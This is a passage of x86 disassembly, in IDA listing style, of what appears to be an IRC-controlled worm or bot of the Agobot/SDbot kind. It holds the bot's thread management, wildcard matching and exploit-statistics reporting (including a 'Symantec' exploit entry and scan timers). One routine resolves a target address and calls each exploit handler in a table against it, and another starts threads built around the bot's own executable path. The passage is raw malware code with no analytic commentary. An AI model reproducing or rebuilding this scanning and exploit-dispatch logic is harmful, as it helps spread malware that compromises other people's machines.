		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5A0
		inc	ebx


loc_40B5A0:				; CODE XREF: sub_40B583+Fj
					; sub_40B583+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB720
		jl	short loc_40B58F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B5	proc near		; CODE XREF: sub_401ACD+41B2p
					; sub_401ACD+4302p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E924


loc_40B5C9:				; CODE XREF: sub_40B5B5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5EB
		test	edi, edi
		jle	short loc_40B5DD
		cmp	[esi], edi
		jz	short loc_40B5DD
		cmp	ebx, edi
		jnz	short loc_40B5EB


loc_40B5DD:				; CODE XREF: sub_40B5B5+1Ej
					; sub_40B5B5+22j
		push	ebx
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5EB
		inc	[ebp+var_4]


loc_40B5EB:				; CODE XREF: sub_40B5B5+1Aj
					; sub_40B5B5+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB924
		jl	short loc_40B5C9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B602	proc near		; CODE XREF: sub_401221+40Fp
					; sub_401ACD+95Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E920


loc_40B609:				; CODE XREF: sub_40B602+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B612
		inc	eax


loc_40B612:				; CODE XREF: sub_40B602+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB920
		jl	short loc_40B609
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B621	proc near		; CODE XREF: sub_401ACD+23D9p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E920


loc_40B62B:				; CODE XREF: sub_40B621+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B644
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB920
		jl	short loc_40B62B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B644:				; CODE XREF: sub_40B621+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B648	proc near		; CODE XREF: sub_401ACD+123Dp
					; sub_401ACD+125Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B661
		push	[ebp+arg_1C]
		call	sub_41C159
		pop	ecx


loc_40B661:				; CODE XREF: sub_40B648+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B68D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_40B6A7
; ---------------------------------------------------------------------------


loc_40B68D:				; CODE XREF: sub_40B648+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_40B6A7:				; CODE XREF: sub_40B648+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6C7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40B6C7:				; CODE XREF: sub_40B648+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		leave
		retn
sub_40B648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D6	proc near		; CODE XREF: sub_4017ED+159p
					; sub_40B425+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E934[eax], ecx
		mov	dword_43E920[eax], ecx
		mov	dword_43E924[eax], ecx
		mov	dword_43E928[eax], ecx
		mov	dword_43E92C[eax], ecx
		mov	dword_43E930[eax], ecx
		mov	byte ptr dword_43E720[eax], cl
		mov	byte_43E938[eax], cl
		retn
sub_40B6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B713	proc near		; CODE XREF: sub_401ACD+7C2Bp
					; sub_40B841+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B71D:				; CODE XREF: sub_40B713+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B77D
		cmp	eax, 1
		jnz	short loc_40B77D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B77D
		cmp	cl, 2Ah
		jz	short loc_40B764
		cmp	cl, 3Fh
		jz	short loc_40B747
		cmp	cl, 5Bh
		jz	short loc_40B74C
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B747:				; CODE XREF: sub_40B713+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B74C:				; CODE XREF: sub_40B713+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B7A9
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_40B713+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B841
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B777:				; CODE XREF: sub_40B713+37j
					; sub_40B713+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B71D
; ---------------------------------------------------------------------------


loc_40B77D:				; CODE XREF: sub_40B713+Ej
					; sub_40B713+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B78D
		cmp	eax, 1
		jnz	short loc_40B7A4
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------


loc_40B78D:				; CODE XREF: sub_40B713+6Dj
		cmp	eax, 1
		jnz	short loc_40B7A4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B7A4
		cmp	byte ptr [esi],	0
		jnz	short loc_40B7A4
		push	1
		pop	eax
		jmp	short loc_40B7A6
; ---------------------------------------------------------------------------


loc_40B7A4:				; CODE XREF: sub_40B713+72j
					; sub_40B713+7Dj ...
		xor	eax, eax


loc_40B7A6:				; CODE XREF: sub_40B713+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A9	proc near		; CODE XREF: sub_40B713+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7CA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7CA:				; CODE XREF: sub_40B7A9+19j
		push	ebx
		push	esi


loc_40B7CC:				; CODE XREF: sub_40B7A9+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7DA
		cmp	[ebp+var_4], eax
		jnz	short loc_40B826


loc_40B7DA:				; CODE XREF: sub_40B7A9+2Aj
		test	edi, edi
		jnz	short loc_40B81B
		cmp	bl, 2Dh
		jnz	short loc_40B80F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B80F
		cmp	al, 5Dh
		jz	short loc_40B80F
		cmp	[ebp+var_4], edi
		jnz	short loc_40B80F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B81B
		cmp	bl, al
		jg	short loc_40B81B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B81B
; ---------------------------------------------------------------------------


loc_40B80F:				; CODE XREF: sub_40B7A9+38j
					; sub_40B7A9+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B81B
		push	1
		pop	edi


loc_40B81B:				; CODE XREF: sub_40B7A9+33j
					; sub_40B7A9+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7CC
; ---------------------------------------------------------------------------


loc_40B826:				; CODE XREF: sub_40B7A9+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B833
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B833:				; CODE XREF: sub_40B7A9+82j
		cmp	edi, eax
		jnz	short loc_40B83C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B83C:				; CODE XREF: sub_40B7A9+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B841	proc near		; CODE XREF: sub_40B713+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B85D:				; CODE XREF: sub_40B841+3Aj
		cmp	[eax], bl
		jz	short loc_40B87D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B872
		cmp	cl, 2Ah
		jnz	short loc_40B87D
		cmp	cl, 3Fh
		jnz	short loc_40B875


loc_40B872:				; CODE XREF: sub_40B841+25j
		inc	eax
		mov	[edi], eax


loc_40B875:				; CODE XREF: sub_40B841+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B85D
; ---------------------------------------------------------------------------


loc_40B87D:				; CODE XREF: sub_40B841+1Ej
					; sub_40B841+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B888
		inc	dword ptr [esi]
		jmp	short loc_40B87D
; ---------------------------------------------------------------------------


loc_40B888:				; CODE XREF: sub_40B841+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B89A
		xor	eax, eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B89A:				; CODE XREF: sub_40B841+53j
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B8A9
		push	1
		pop	eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B8A9:				; CODE XREF: sub_40B841+4Dj
					; sub_40B841+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3


loc_40B8B7:				; CODE XREF: sub_40B841+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8BB:				; CODE XREF: sub_40B841+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8D3
		cmp	cl, 5Bh
		jz	short loc_40B8D3
		cmp	dl, bl
		jz	short loc_40B8D3
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8BB
; ---------------------------------------------------------------------------


loc_40B8D3:				; CODE XREF: sub_40B841+82j
					; sub_40B841+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8EA
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8EF
; ---------------------------------------------------------------------------


loc_40B8EA:				; CODE XREF: sub_40B841+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8EF:				; CODE XREF: sub_40B841+A7j
		cmp	eax, ebx
		jnz	short loc_40B8B7


loc_40B8F3:				; CODE XREF: sub_40B841+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	[ebp+var_4], 1


loc_40B906:				; CODE XREF: sub_40B841+B6j
					; sub_40B841+BCj
		mov	eax, [ebp+var_4]


loc_40B909:				; CODE XREF: sub_40B841+57j
					; sub_40B841+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B90E	proc near		; CODE XREF: sub_401ACD+2AB2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431B9C
		push	eax
		xor	ebx, ebx
		call	sub_41C266
		cmp	dword_431800, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B980
		push	esi
		mov	esi, offset dword_431808


loc_40B941:				; CODE XREF: sub_40B90E+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B976
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431B90
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		add	esp, 1Ch


loc_40B976:				; CODE XREF: sub_40B90E+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B941
		pop	esi


loc_40B980:				; CODE XREF: sub_40B90E+2Bj
		push	dword_4CB724
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B90E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc near		; CODE XREF: sub_401ACD+2A9Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE4F0
		mov	ecx, dword_4CE4EC
		push	esi
		push	dword_4CB724
		lea	esi, [ecx+eax]
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE4F0
		lea	eax, [ebp+var_200]
		push	dword_4CE4EC
		push	offset unk_431BBC
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA49	proc near		; CODE XREF: sub_401ACD+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB724
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE728
		push	offset unk_431C04
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 28h
		leave
		retn
sub_40BA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA9E	proc near		; CODE XREF: sub_401ACD+2A70p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431C50
		push	eax
		call	sub_41C266
		cmp	dword_431800, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BB0A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAD3:				; CODE XREF: sub_40BA9E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C40
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAD3
		pop	esi


loc_40BB0A:				; CODE XREF: sub_40BA9E+2Dj
		push	dword_4CB724
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BA9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB65	proc near		; DATA XREF: sub_401ACD+309Ao

var_3F0		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_4CBA24	; inet_addr
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_431800, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_40BCC7
		mov	ebx, offset dword_431800
		mov	eax, ebx


loc_40BBB6:				; CODE XREF: sub_40BB65+15Cj
		push	[ebp+var_1C]
		push	dword ptr [eax]
		push	[ebp+var_8]
		call	sub_40C34B
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCB7
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_431CA0
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_409869
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_415D38
		add	esp, 2Ch
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_15C]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		cmp	[ebp+var_A4], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_A4]
		jnz	short loc_40BC52
		lea	eax, [ebp+var_124]


loc_40BC52:				; CODE XREF: sub_40BB65+E5j
		push	eax
		lea	eax, [ebp+var_1DC]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi


loc_40BCB7:				; CODE XREF: sub_40BB65+64j
		inc	[ebp+arg_0]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBB6


loc_40BCC7:				; CODE XREF: sub_40BB65+44j
		push	[ebp+var_4]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_431C6C
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_409869
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		add	esp, 2Ch
		push	edi
		call	dword_4270D4	; ExitThread
sub_40BB65	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD1A	proc near		; CODE XREF: sub_401ACD+23F4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_40BD56
		mov	eax, [ebp+arg_C]
		push	dword_4CBB30[eax*8]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431CF0
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40BD69
; ---------------------------------------------------------------------------


loc_40BD56:				; CODE XREF: sub_40BD1A+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431CD0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40BD69:				; CODE XREF: sub_40BD1A+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 18h
		leave
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD91	proc near		; CODE XREF: sub_40C600+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C263
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_43180C[eax], ebx
		jz	loc_40C263
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C018
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CDBEC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDDFC, eax
		mov	dword_4CDDF8, ebx
		call	dword_427078	; GetModuleFileNameA
		mov	edi, offset byte_429110
		push	103h
		push	edi
		push	offset dword_4CDCF0
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDBE8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDE80, eax
		jnz	short loc_40BE44
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDE00
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE84, 1
		jmp	short loc_40BE5E
; ---------------------------------------------------------------------------


loc_40BE44:				; CODE XREF: sub_40BD91+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDE00
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE84, ebx


loc_40BE5E:				; CODE XREF: sub_40BD91+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDDFC
		push	offset unk_42C20C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CDDF4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDBE8
		push	offset sub_412197
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, dword_4CDDF4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40BECC


loc_40BEBA:				; CODE XREF: sub_40BD91+139j
		cmp	dword_4CDE88, ebx
		jnz	short loc_40BEE7
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40BEBA
; ---------------------------------------------------------------------------


loc_40BECC:				; CODE XREF: sub_40BD91+127j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E10
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40BEE7:				; CODE XREF: sub_40BD91+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		mov	eax, dword_4CB720
		mov	esi, offset dword_4CDE94
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CE0A4, eax
		mov	dword_4CE0A0, ebx
		call	dword_427078	; GetModuleFileNameA
		push	103h
		push	edi
		push	offset dword_4CDF98
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDE90, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CE128, eax
		push	7Fh
		jnz	short loc_40BF68
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE0A8
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE12C, 1
		jmp	short loc_40BF82
; ---------------------------------------------------------------------------


loc_40BF68:				; CODE XREF: sub_40BD91+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CE0A8
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE12C, ebx


loc_40BF82:				; CODE XREF: sub_40BD91+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CE0A4
		push	offset unk_431DDC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CE09C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDE90
		push	offset sub_40F3AA
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, dword_4CE09C
		imul	ecx, 234h
		cmp	eax, ebx
